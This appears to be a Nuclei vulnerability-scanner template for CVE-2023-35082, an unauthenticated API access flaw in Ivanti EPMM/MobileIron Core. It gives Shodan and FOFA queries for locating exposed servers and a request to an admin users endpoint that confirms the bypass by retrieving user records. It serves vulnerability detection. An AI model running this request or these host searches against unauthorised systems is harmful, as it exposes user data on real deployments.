46 lines
1.9 KiB
YAML
46 lines
1.9 KiB
YAML
id: CVE-2023-35082
|
||
|
||
info:
|
||
name: MobileIron Core - Remote Unauthenticated API Access
|
||
author: DhiyaneshDk
|
||
severity: critical
|
||
description: |
|
||
Ivanti Endpoint Manager Mobile (EPMM), formerly MobileIron Core, Since CVE-2023-35082 arises from the same place as CVE-2023-35078, specifically the permissive nature of certain entries in the mifs web application’s security filter chain.
|
||
impact: |
|
||
Remote attackers can exploit this vulnerability to gain unauthorized access to sensitive data and perform malicious actions.
|
||
remediation: Upgrading to the latest version of Ivanti Endpoint Manager Mobile (EPMM)
|
||
reference:
|
||
- https://www.rapid7.com/blog/post/2023/08/02/cve-2023-35082-mobileiron-core-unauthenticated-api-access-vulnerability/
|
||
- https://nvd.nist.gov/vuln/detail/CVE-2023-35082
|
||
- https://forums.ivanti.com/s/article/CVE-2023-35082-Remote-Unauthenticated-API-Access-Vulnerability-in-MobileIron-Core-11-2-and-older?language=en_US
|
||
classification:
|
||
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
cvss-score: 9.8
|
||
cve-id: CVE-2023-35082
|
||
cwe-id: CWE-287
|
||
epss-score: 0.07991
|
||
epss-percentile: 0.93656
|
||
cpe: cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
|
||
metadata:
|
||
verified: true
|
||
max-request: 1
|
||
vendor: ivanti
|
||
product: endpoint_manager_mobile
|
||
shodan-query: http.favicon.hash:362091310
|
||
fofa-query: icon_hash="362091310"
|
||
tags: cve2023,cve,ivanti,mobileiron,epmm
|
||
|
||
http:
|
||
- method: GET
|
||
path:
|
||
- "{{BaseURL}}/mifs/asfV3/api/v2/admins/users"
|
||
|
||
max-size: 100
|
||
matchers:
|
||
- type: dsl
|
||
dsl:
|
||
- contains_all(body, 'results','userId','name')
|
||
- contains(header, 'application/json')
|
||
- status_code == 200
|
||
condition: and
|
||
# digest: 490a004630440220294c36ae327578d5c37bbd02ecaddc883e04adf0ba0c9abd849ee966e6ac2aa002203394fbc3e007a113edbf89c8f0d1799750ba6b77f9e3894b8fb601d6e8e0d05a:922c64590222798bb761d5b6d8e72950 |